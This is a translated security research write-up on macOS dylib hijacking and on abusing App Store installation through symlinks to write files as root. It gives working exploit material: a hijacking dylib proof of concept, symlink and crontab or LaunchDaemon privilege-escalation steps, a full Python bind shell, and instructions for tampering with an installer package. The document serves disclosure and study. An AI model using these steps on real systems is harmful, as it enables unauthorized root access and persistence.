导语:在本篇文章中,“Objective by the Sea”的演讲者Csaba Fitzl撰写了一篇有趣的方法,通过官方Mac AppStore中的应用程序来获取root权限。
一、前言
在本篇文章中,“Objective by the Sea”的演讲者Csaba Fitzl撰写了一篇有趣的方法,通过官方Mac AppStore中的应用程序来获取root权限。
他的研究最开始是在“Objective by the Sea”v2.0中提出的,演讲时展示的PPT请参考这里。
二、背景
这篇文章主要讲述了我的研究过程,我想展示一下我是如何在快速的研究过程中发现问题的,我最终在macOS中发现了一个本地权限提升漏洞。除了成功发现的漏洞之外,我还想讨论我在研究过程中遇到的所有障碍和失败,尽管人们通常不会谈论这一些,但我认为,当我们试图创造(或利用)某些东西时,这是所有人的一个必经之路。
三、macOS上的Dylib劫持
3.1 基础概念
在整个研究过程中,我都试图在特定应用程序中找到dylib劫持漏洞,在这里我不能透露具体的应用程序名称。最终,我没有在那个特定的应用程序中发现漏洞,但在许多其他的应用程序中发现了这类漏洞。
如果各位读者还不熟悉macOS上的dylib劫持,可以阅读:
1. Patrick Wardle的文章:病毒的子弹 – OSX上的Dylib劫持
2. DEF CON 23演讲:OSX上的DLL劫持
我推荐大家优先观看演讲,因为这是一位非常出色的演讲者,并且会以非常友好的方式来解释这个主题,可以帮助大家掌握所有的细节。
我们简而言之,存在两种类型的dylib劫持:
1. dylib弱加载:在这种情况下,操作系统将使用LC_LOAD_WEAK_DYLIB函数,如果没有找到dylib,应用程序仍然会运行,并且不会报错。因此,如果有一个应用程序使用此方法引用dylib,并且dylib实际上不存在,那么我们可以利用这一点。
2. 运行路径依赖(rpath)dylib:在这种情况下,dylib会使用@rpath前缀引用,它将指向mach-o文件的当前运行位置,并尝试根据此搜索路径查找dylib。如果我们不知道安装后的应用程序会在哪里结束,那么这是一种非常好的方式。开发人员可以指定多个搜索路径,如果第一个或者第一对不存在,那么就可以将恶意dylib放在相应位置,因为加载器会按照顺序搜索这些路径。在逻辑上,这类似于Windows中的经典DLL劫持。
3.2 寻找易受攻击的应用
这一过程比较困难,需要我们下载Patrick的“Dylib Hijack Scanner”(DHS,Dylib劫持扫描器)工具,运行扫描并等待。除此之外,还有一个命令行版本的工具,也是由Patrick编写的。
在演示中,我将使用Tresorit应用程序作为示例,因为他们已经修复了漏洞,并且他们的反映非常及时,在报告漏洞后的几天内就修复了这一问题。我不会在这里提及所有的应用程序,但大家如果看到应用程序的清单,一定会为其数量之多而惊讶。
从上图中可以看出,dylib劫持漏洞与Tresorit的FinderExtension有关:
/Applications/Tresorit.app
/Contents/MacOS/TresoritExtension.app
/Contents/PlugIns/FinderExtension.appex
/Contents/MacOS/FinderExtension
我们可以在这里放置(恶意的)dylib UtilsMac:
rpath漏洞:/Applications/Tresorit.app
/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex
/Contents/Frameworks/UtilsMac.framework/Versions/A/UtilsMac
DHS只会向我们展示第一个劫持的dylib,但实际上可能会有更多。要检查其他位置,可以在终端中将DYLD_PRINT_RPATHS变量设置为1,即可查看到加载程序尝试加载哪些dylib。如我们所见,有两个可能被劫持的dylib:
$ export DYLD_PRINT_RPATHS="1" $ /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app /Contents/PlugIns/FinderExtension.appex/Contents/MacOS/FinderExtension RPATH failed to expanding @rpath/UtilsMac.framework/Versions/A/UtilsMac to: /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app /Contents/PlugIns/FinderExtension.appex/Contents/MacOS /../Frameworks/UtilsMac.framework/Versions/A/UtilsMac RPATH successful expansion of @rpath/UtilsMac.framework/Versions/A/UtilsMac to: /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns /FinderExtension.appex/Contents/MacOS /../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac RPATH failed to expanding @rpath/MMWormhole.framework/Versions/A/MMWormhole to: /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns /FinderExtension.appex/Contents/MacOS/ ../Frameworks/MMWormhole.framework/Versions/A/MMWormhole RPATH successful expansion of @rpath/MMWormhole.framework/Versions/A/MMWormhole to: /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns /FinderExtension.appex/Contents/MacOS /../../../../Frameworks/MMWormhole.framework/Versions/A/MMWormhole Illegal instruction: 4
此外,最好仔细检查APP是否使用了库验证选项(flag = 0x200)进行编译。如果以这种方式编译应用程序,就意味着即使dylib可能被劫持,操作系统也只会加载由操作系统签名的库,或者与应用程序具有相同团队ID签名的库。换而言之,对应用程序的任何dylib劫持尝试都会以失败告终。
大多数应用程序都没有以这种方式编译,包括Tresorit在内(但他们承诺会修复这一问题):
$ codesign -dvvv /Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns /FinderExtension.appex/Contents/MacOS/FinderExtension Executable=FinderExtension.appex/Contents/MacOS/FinderExtension Identifier=com.tresorit.mac.TresoritExtension.FinderExtension Format=bundle with Mach-O thin (x86_64) CodeDirectory v=20200 size=754 flags=0x0(none) hashes=15+5 location=embedded ...
3.3 漏洞利用
根据上面的讨论,实现漏洞利用就变得非常简单,在这里我们只做简要说明。我编写了以下的PoC:
#include <stdio.h> #include <stdlib.h> #include <syslog.h> __attribute__((constructor)) void customConstructor(int argc, const char **argv) { printf("Hello World!\n"); system("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"); syslog(LOG_ERR, "Dylib hijack successful in %s\n", argv[0]); }
在加载dylib时,将会调用构造函数。它将打印一行,创建一个syslog条目,并启动终端(Terminal)。如果该应用程序未在沙箱中运行,我们将会获得一个功能齐全的终端。对其进行编译:
gcc -dynamiclib hello.c -o hello-tresorit.dylib -Wl,-reexport_library,"/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac"
随后,运行Patrick的修复脚本。该脚本将会为我们修复dylib版本(dylib加载器会在加载时验证版本信息),并且将添加原始dylib的所有导出。这些导出实际上将指向有效(原始的)dylib,因此当应用程序加载我们精心制作的版本时,仍然可以使用所有函数,并且不会发生崩溃。
python2 createHijacker.py hello-tresorit.dylib "/Applications/Tresorit.app/Contents/MacOS/TresoritExtension.app/Contents/PlugIns/FinderExtension.appex/Contents/MacOS/../../../../Frameworks/UtilsMac.framework/Versions/A/UtilsMac" CREATE A HIJACKER (p. wardle) configures an attacker supplied .dylib to be compatible with a target hijackable .dylib [+] configuring hello-tresorit.dylib to hijack UtilsMac [+] parsing 'UtilsMac' to extract version info found 'LC_ID_DYLIB' load command at offset(s): [2568] extracted current version: 0x10000 extracted compatibility version: 0x10000 [+] parsing 'hello-tresorit.dylib' to find version info found 'LC_ID_DYLIB' load command at offset(s): [888] [+] updating version info in hello-tresorit.dylib to match UtilsMac setting version info at offset 888 [+] parsing 'hello-tresorit.dylib' to extract faux re-export info found 'LC_REEXPORT_DYLIB' load command at offset(s): [1144] extracted LC command size: 0x48 extracted path offset: 0x18 computed path size: 0x30 extracted faux path: @rpath/UtilsMac.framework/Versions/A/UtilsMac [+] updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change [+] copying configured .dylib to /Users/csaby/Downloads/DylibHijack/UtilsMac
完成后,我们只需复制文件,并启动应用程序即可。现在,我们的恶意dylib将会自动加载到Tresorit Finder扩展应用程序中。
3.4 其他APP
考虑到易受攻击应用程序的数量之多,我甚至没有花费时间来报告所有这些问题,只报告了少数几个。除了Tresorit之外,我报告了Avira的一个漏洞,他们承诺修复,但是定的优先级较低,因为我们必须先获得使用该应用程序的root权限。另外,我还报告了Microsoft Office 2016中的一个漏洞,微软认为这不属于安全漏洞,因为需要使用root权限来利用,他们建议我可以提交产品Bug。但我不认同这样的观点,因为这是一种持久性的方式,但就目前情况而言,我似乎没办法去和他们争辩。
3.5 特权问题
我原本的研究已经完成,但这也是超越我原本研究结果的开始。
在许多应用程序中都存在此类问题,理论上我们只需要将dylib放到正确的位置,但在利用此漏洞所需的权限上,可能存在两种主要的方案。
1. 应用程序文件夹由我们的账户拥有(实际上,每个用户都是Mac上的管理员,因此我们在这里不考虑标准用户的情况),在这种情况下,我们可以轻松地投放文件。
2. 应用程序文件夹由root拥有,因此我们需要root权限才能执行攻击。实际上,这样的场景并不太好,既然我们能够获得root权限,那么显然可以在其他地方创建持久性,并且应用程序通常会在沙箱中运行,因此我们不能从这里获得太多。这确实是一个问题。
通常,拖放到/Application目录的应用程序都属于第一类,AppStore中的所有应用程序都属于第二类,因为后者将由以root身份运行的installd守护程序安装。从软件包安装的应用程序通常也属于第二类,通常需要提升权限。
我对厂商的回复不太满意,并且也不喜欢开发出仅有root权限才能利用的漏洞,因此我开始思考,我们是否可以绕过根文件夹的权限?答案是肯定的,否则这篇文章就到此结束了。
四、监控工具
在继续之前,我首先介绍一些对事件监控有所帮助的工具。
4.1 FireEye – Monitor.app
这是一个FireEye编写的应用程序,类似于procmon,可以从这里下载。
4.2 Objective-See的ProcInfo库和ProcInfoExample
这是一个用于监控macOS上进程创建和进程结束的开源库。我使用了这个库的演示项目,名为“ProcInfoExample”。它是一个命令行实用程序,将会记录每个进程创建,包括所有相关的详细信息,例如参数、签名信息等。
它将会为我们提供比Monitor应用程序更多的信息:
2019-03-11 21:18:05.770 procInfoExample[32903:4117446] process start: pid: 32906 path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update user: 0 args: ( "/System/Library/PrivateFrameworks/PackageKit.framework/Resources/efw_cache_update", "/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager/BC005493-3176-43E4-A1F0-82D38C6431A3.activeSandbox/Root/Applications/Parcel.app" ) ancestors: ( 9103, 1 ) signing info: { signatureAuthorities = ( "Software Signing", "Apple Code Signing Certification Authority", "Apple Root CA" ); signatureIdentifier = "com.apple.efw_cache_update"; signatureSigner = 1; signatureStatus = 0; } binary: name: efw_cache_update path: /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/efw_cache_update attributes: { NSFileCreationDate = "2018-11-30 07:31:32 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2018-11-30 07:31:32 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 493; NSFileReferenceCount = 1; NSFileSize = 43040; NSFileSystemFileNumber = 4214431; NSFileSystemNumber = 16777220; NSFileType = NSFileTypeRegular; } signing info: (null)
4.3 内置的fs_usage实用程序
fs_usage实用程序可以非常详细地监视文件系统事件,甚至在我们看来有些过于详细了,如果我们想从中获取到有用的数据,就必须要做好过滤。我们将得到类似于以下内容:
# fs_usage -f filesystem getxattr /Applications/Parcel.app lsd.4123091 access (___F) /Applications/Parcel.app/Contents lsd.4123091 fstatat64 [-2]/ /Applications/Parcel.app lsd.4123091 getattrlist /Applications/Parcel.app lsd.4123091 getattrlist /Applications/Parcel.app/Contents lsd.4123091 getattrlist /Applications/Parcel.app/Contents/MacOS lsd.4123091 getattrlist /Applications/Parcel.app/Contents/MacOS/Parcel lsd.4123091 getattrlist /Applications/Parcel.app lsd.4123091
五、绕过App Store安装的应用程序中的根文件夹权限
我们的目标是在AppStore安装的应用程序中写入任何文件,默认情况下只能由root访问。
在这里的绕过,只适用于应用程序已经安装过至少一次的情况,因为当我们购买APP时,即使它是免费的,也需要向AppStore进行身份验证,或者用户预先为免费的应用程序设置了“保存密码”。我们注意到,可以在“/Applications”文件夹中创建文件夹,显然我们也可以在那里拖放应用程序。但是,如果我为即将要安装的应用程序创建一个文件夹会怎样?下面展现了这一过程,以及绕过根文件夹权限的步骤:
1. 在删除应用程序之前,需要记录下文件夹的结构,我们具有读取的权限。这一过程是为了以后清楚要重新创建的内容。
2. 启动Launchpad找到该应用程序,如果当前已经安装,则将其删除。值得注意的是,尽管我们作为普通用户与Launchpad进行交互,但还是会删除应用程序,它只能对从AppStore安装的应用程序执行此操作。
3. 在/Applications文件夹中,使用常规ID创建文件夹结构,我们可以在没有root访问权限的情况下执行此操作。这样一来,就可以创建我们需要的文件夹,并将我们的dylib(或任何想要的文件)放在文件夹中。
4. 返回AppStore,并在“已购买”选项卡中找到该应用程序并进行安装。在这种情况下,我们无须进行身份验证。我们还可以使用GitHub提供的命令行实用程序 GitHub – mas-cli/mas Mac AppStore命令行界面。
此时,应用程序将会被安装,并且我们可以使用应用程序,并在相应位置放置文件。理论上,如果没有root权限,这些文件本应是无法被放置的。
这一漏洞已经在Mojave 10.14.5中被修复,稍后我将详细讨论。
比较而言,这就像是对Windows上的“Program Files”文件夹具有写入权限。管理员用户确实可以,但也仅当他们以高完整性运行时,这意味着我们需要从默认的中等(MEDIUM)完整性模式中绕过UAC。但在Windows中,将中等(MEDIUM)完整性的Admin提升到高(HIGH)完整性并不需要越过安全边界,但在macOS中,将admin提升到root则跨越了边界。
六、更进一步:在任意位置投放AppStore文件
6.1 具体方法
在这一点上,我有另外一个想法。由于installd以root身份运行,我们可以利用它将应用程序放在其他位置或者某个确定的位置吗?答案是肯定的。假设我想将APP的主要mach-o文件放在只有root访问权限的文件夹中,例如/opt(受SIP保护的文件夹,例如/System将不起作用,因为即使root用户也没有访问权限)。下面是重现的步骤,其中1-2步与之前相同。
3. 创建以下文件夹结构:/Applications/Example.app/Contents。
4. 创建符号链接“MacOS”,指向/opt: ln -s /opt /Applications/Example.app/Contents/MacOS。
主要的mach-O文件通常位于/Applications/Example.app/Contents/MacOS文件夹下,在我们的示例中,将其指向/opt。
5. 安装应用程序。
此时,应用程序会正常安装,但是/Applications/Example.app/Contents/MacOS下的任何文件都将被转到/opt。
如果存在具有mach-O文件名称的文件,那么该文件将会被覆盖。基本上,我们可以将AppStore应用程序中能够找到的任何文件投放到我们控制的位置。
6.2 我们不能做什么?
1. 我们不能更改要投放的文件的名称,或者换而言之,我们不能将一个文件的内容放入另一个具有不同名称的文件中。如果我们为实际的mach-o文件创建一个符号链接,例如:ln -s /opt/myname /Applications/Example.app/Contents/MacOS/Example,当installd守护进程移动时,会覆盖符号链接文件从临时位置到最终位置。如果我们尝试使用mv命令,可以发现相同的行为:
$ echo aaa > a $ ln -s a b $ ls -la total 8 drwxr-xr-x 4 csaby staff 128 Sep 11 16:16 . drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 .. -rw-r--r-- 1 csaby staff 4 Sep 11 16:16 a lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a $ cat b aaa $ echo bbb >> b $ cat b aaa bbb $ touch c $ ls -l total 8 -rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a lrwxr-xr-x 1 csaby staff 1 Sep 11 16:16 b -> a -rw-r--r-- 1 csaby staff 0 Sep 11 16:25 c $ mv c b $ ls -la total 8 drwxr-xr-x 4 csaby staff 128 Sep 11 16:25 . drwxr-xr-x+ 50 csaby staff 1600 Sep 11 16:16 .. -rw-r--r-- 1 csaby staff 8 Sep 11 16:16 a -rw-r--r-- 1 csaby staff 0 Sep 11 16:25 b
2. 即使我们创建了一个硬链接,而不是符号链接,也会像第一种情况一样被覆盖。
3. 如前所述,我们无法写入受到SIP保护的文件夹。
6.3 利用这一点进行权限提升的思路
基于以上内容,我对于如何从admin提升到root权限,有以下思路:
1. 在AppStore中查找与root身份运行的进程同名的文件,并替换该文件。
2. 在AppStore中找到一个文件,其中包含一个cron任务称为“root”,我们可以将其放入/usr/lib/cron/tabs。
3. 如果没有发现,我们可以创建一个完全无害的应用程序,该程序可以弹出一个交互式提示,或者类似的内容,随后我们将其上传到AppStore。举例来说,我们的文件可能包含示例root crontab文件,该文件每小时启动一次终端(Terminal)。我们可以将其放在crontab文件夹中。
4. 制作恶意dylib,将其作为应用程序的一部分上传到AppStore,并投放该文件,以便以root身份运行的应用程序会加载它。
6.4 向Apple报告
我承认,在这一过程中,我采用了比较懒惰的方法向Apple报告了上述情况,主要原因在于:
1. 我发现我不太可能找到满足#1或#2的合适文件。Xcode几乎满足#2,因为其中包含一些cron示例,但无法命名为root。
2. 我在开发AppStore应用程序方面几乎没有经验,并且不会Objective-C或Swift编程。
3. 在工作中和下班后,还有其他事项要处理。
因此,我简单地向Apple报告,随后收到了他们的反馈:“App Review流程有助于防止恶意应用程序在Mac和iOS应用程序商店中出现”。
显然,Apple没有理解这个问题,或者是我的表达出现了问题,但很明显我们之间存在了误解。因此,我认为我必须要证明这一观点。于是,我决定开发一个应用程序,并将其提交给AppStore,以此来证明。
七、创建APP
经过一番思考后,我决定创建一个能够为root提供crontab文件的应用程序,然后将其放到/usr/lib/cron/tabs文件夹中。应用程序必须实现一些有意义的用途才能审核通过,因此我想到创建一个cronjob编辑器应用程序。这一应用程序具有实际价值,也可以解释为什么我会嵌入crontab文件。
7.1 Apple开发者ID
要向AppStore提交任何应用程序,我们必须首先注册开发者计划。我注册了一个新的ID,因为我担心制作出可用于权限提升的应用程序后官方会禁用掉我的ID,但事实上并没有。开发者ID每年需要花费99美元。
7.2 发布到AppStore的流程
1. 成为Apple的开发人员,每年支付99美元;
2. 登录App Store Connect,并创建一个Bundle ID;
3. 返回并创建一个新的App,引用我们创建的Bundle ID;
4. 填写详细信息(许可证页面、描述等);
5. 从Xcode上传我们的应用程序;
6. 如果需要,填写更多详细信息;
7. 提交审核。
7.3 应用程序详情
我开发的应用程序名为“Crontab Creator”,该应用对于创建crontab文件非常有用。该应用程序目前仍然存在,并且持续可用,事实证明,确实有一些用户使用了它。
该应用程序绝对是合法的,但其中包含了crontab文件的不同示例,它们都作为单独的文件存储在应用程序中。我之所以没有将字符串嵌入到源代码之中,就是因为要将其用于漏洞利用。其中,有一个文件名为“root”,它将尝试从_Applications_Scripts文件夹执行脚本。
八、在High Sierra上实现权限提升
8.1 权限提升步骤
Crontab Creator应用程序包含一个名为“root”的文件作为crontab文件的示例,以及另外9个文件。其内容如下:
* * * * * /Applications/Scripts/backup-apps.sh
显然,默认情况下该脚本并不存在,但我们可以在/Application文件夹中轻松创建这一脚本,因为我们具有写入权限,所以可以将任何内容放入其中。
权限提升的步骤如下。首先,我们需要创建app文件夹结构,并在其中放置符号链接。
cd /Applications/ mkdir "Crontab Creator.app" cd Crontab\ Creator.app/ mkdir Contents cd Contents/ ln -s /usr/lib/cron/tabs/ Resources
随后,我们需要创建脚本文件,它将每分钟运行一次,我选择让它运行终端(Terminal)。
cd /Applications/ mkdir Scripts cd Scripts/ echo /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal > backup-apps.sh chmod +x backup-apps.sh
然后,我们需要从商店安装应用程序。我们可以通过GUI执行此操作,或者如果已经安装brew和mas,也可以通过CLI执行此操作:
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" brew install mas mas install 1438725196
回顾之前分析的漏洞,我们可以将文件放入crontab文件夹,创建脚本,并在其中启动终端,随后便可以在一分钟之内获得弹出和root访问权限。
8.2 漏洞修复
如前所述,Apple已经在Mojave中修复了这一漏洞利用路径。在2018年10月,我发现我的PoC不能再正常使用。在没有进行进一步测试的情况下,我误以为权限提升漏洞已经被修复,但实际上,我们仍然可以投放文件到应用程序中。
九、在不破坏应用程序签名的情况下感染安装程序
接下来,我们希望能够针对手动安装的应用程序绕过其根文件夹权限。我们无法在这里进行真正的绕过或权限提升,因为在安装过程中用户必须输入其密码,但我们仍然可以沿用此前的思路。在这里,我希望展示另外一种方法,那就是如何将我们的自定义文件嵌入到安装程序包中。如果我们可以对pkg的下载过程开展中间人攻击,那么就可以使用自己的安装包来替换合法文件,或者通过电子邮件或其他方式将其提供给用户。
需要说明的是,尽管AppStore中的应用程序都是通过HTTP下载的,但我们并不能实际篡改它,因为哈希值是通过HTTPS传递的,同时签名也会被验证。
下面是如何将自定义文件封装在有效包中的步骤:
1. 获取安装程序pkg:使用AppStoreExtract或DerFlounder从Mac的AppStore下载安装程序包
2. 解压缩pkg:pkgutil –expand example.pkg myfolder
3. 输入文件夹,然后解压缩嵌入的Payload(嵌入式pkg文件夹内):tar xvf embedded.pkg/Payload
4. 将我们的文件嵌入其中(可以在任意位置嵌入任意文件):bash $ mkdir Example.app/Contents/test $ echo aaaa > Example.app/Contents/test/a
5. 重新压缩应用程序:find ./Example.app | cpio -o –format odc | gzip -c > Payload
6. 删除不需要的文件,并将Payload移动到嵌入式pkg文件夹
7. 重新封装pkg:pkgutil –flatten myfolder/ mypackage.pkg
随后,安装包的数字签名将会丢失,因此我们需要一种绕过Gatekeeper的方法。嵌入式应用程序的签名也会被破坏,因为.app Bundle中的每个文件都必须进行数字签名。通常,主mach-o文件是有符号的,它具有_CodeSignatures plist文件的哈希值。该文件将包含其他文件的所有哈希值。如果在.app Bundle中放置一个新文件,该文件会使得哈希值无效。但是,这并不是问题,就好像我们可以绕过Gatekeeper获取.pkg文件一样,安装的应用程序不会受到Gatekeeper的约束。
十、重新分发付费应用
我们使用与上一个示例中相同的工具,可以获取特定应用程序的安装程序。如果我们以这样的方式保留收费的应用程序,即使在用户未付费的情况下,它也可以在其他位置使用。在应用程序中,不会默认对该应用程序是否已经购买进行验证,其中也不包含跟踪购买情况的任何内容。因此,如果我们购买了一个应用程序,就可以轻松地将其分发到其他位置。应用程序内购可能不会起作用,因为它们与Apple ID相关联。
十一、在Mojave上实现权限提升
11.1 漏洞修复
在今年,我一直与其他研究人员谈论这个漏洞的问题,并且这一漏洞对我产生了一定的打击。实际上,我并没有做任何进一步的检查来确认符号链接是否完全被破坏。事实证明,并非如此。
macOS修复这一漏洞的方法是,即使以root身份运行,installd也不再访问crontab文件夹(/usr/lib/cron/tabs),因此也无法在那里创建文件。我甚至不确定,他们是直接针对我的PoC做了修复,还是存在其他一些巧合。我们可以在/var/log/install.log中找到相关的错误信息:
shove[1057]: [source=file] failed _RelinkFile(/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/C/PKInstallSandboxManager /401FEDFC-1D7B-4E47-A6E9-E26B83F8988F.activeSandbox/Root/Applications /Crontab Creator.app/Contents/Resources/peter, /private/var/at/tabs/peter): Operation not permitted
11.2 存在的问题
installd进程仍然可以访问其他文件夹,并且可以在重定向期间投放文件,而这些文件也可能会被滥用。经过测试,我发现可以将文件写入重定向到下述具有潜在风险的文件夹中:
/var/root/Library/Preferences/
攻击者可能会投放一个名为com.apple.loginwindow.plist的文件,该文件可以包含一个以root身份运行的LoginHook。
/Library/LaunchDaemons/
在此处投放plist文件将以root身份执行。
/Library/StartupItems/
在此处投放plist文件将以root身份执行。
此外,也可以写入到/etc中。
将文件投放到这些位置的思路,与将文件投放到crontab文件夹的想法基本相同。可能还会有许多文件夹受到影响,因此我们可以制作恶意dylib文件,但我在这里没有进一步探索。
11.3 第二个PoC
掌握了上述情况,我现在就是一个“经验丰富”的macOS开发人员了,我创建了一个名为StartUp的新PoC:
该文件的创建实际上是与之前一样的,但在我们的示例中是LaunchDaemons。
其实现方式是:
cd /Applications/ mkdir “StartUp.app” cd StartUp.app/ mkdir Contents cd Contents/ ln -s /Library/LaunchDaemons/ Resources cd /Applications/ mkdir Scripts cd Scripts/
在这里,我们可以创建一个在启动后以root身份运行的sample.sh脚本。实际中,我将一个Bind Shell放入该脚本中,在登录后,一旦连接到它,我就获得了一个root Shell,但这还是取决于我们放置到目标的内容。
#sample.sh python /Applications/Scripts/bind.py #bind.py #!/usr/bin/python2 """ Python Bind TCP PTY Shell - testing version infodox - insecurety.net (2013) Binds a PTY to a TCP port on the host it is ran on. """ import os import pty import socket lport = 31337 # XXX: CHANGEME def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', lport)) s.listen(1) (rem, addr) = s.accept() os.dup2(rem.fileno(),0) os.dup2(rem.fileno(),1) os.dup2(rem.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main()
11.4 向Apple再次反馈
我在2019年2月再次向Apple报告了这一问题,并试图详细解释为什么我认为安装过程仍然存在漏洞,并且可能被滥用。
11.5 增强安全性
Apple从未承认这是一个安全漏洞,也从未为其分配过CVE编号,他们认为这是一个增强的功能。最终,在Mojave 10.14.5上实现了修复,他们甚至在页面上提到了我的名字:
我做了一个快速的测试,最终发现他们终于成功修复了这一问题。如果我们创建应用程序的文件夹,并在其中放置文件,最终将会全部被删除。我们使用FireEye的Monitor.app可以证明这一点。第一个事件说明了整个文件夹都被移动:
如果把这一过程用《权利的游戏》的画面展现出来,应该是这样的:
下面的事件说明,已经将应用程序安装到恰当的位置:
因此,我们就不能再投放文件了。
我非常喜欢最终修复的方式,因此要在这里感谢Apple。此外,我要感谢Patrick Wardle,每次当我询问他关于macOS的愚蠢问题时,他总是积极帮助我。
由于我已经绕过了Apple的修复方法,因此故事仍然在继续。一旦他们彻底修复了漏洞,我会及时进行更新。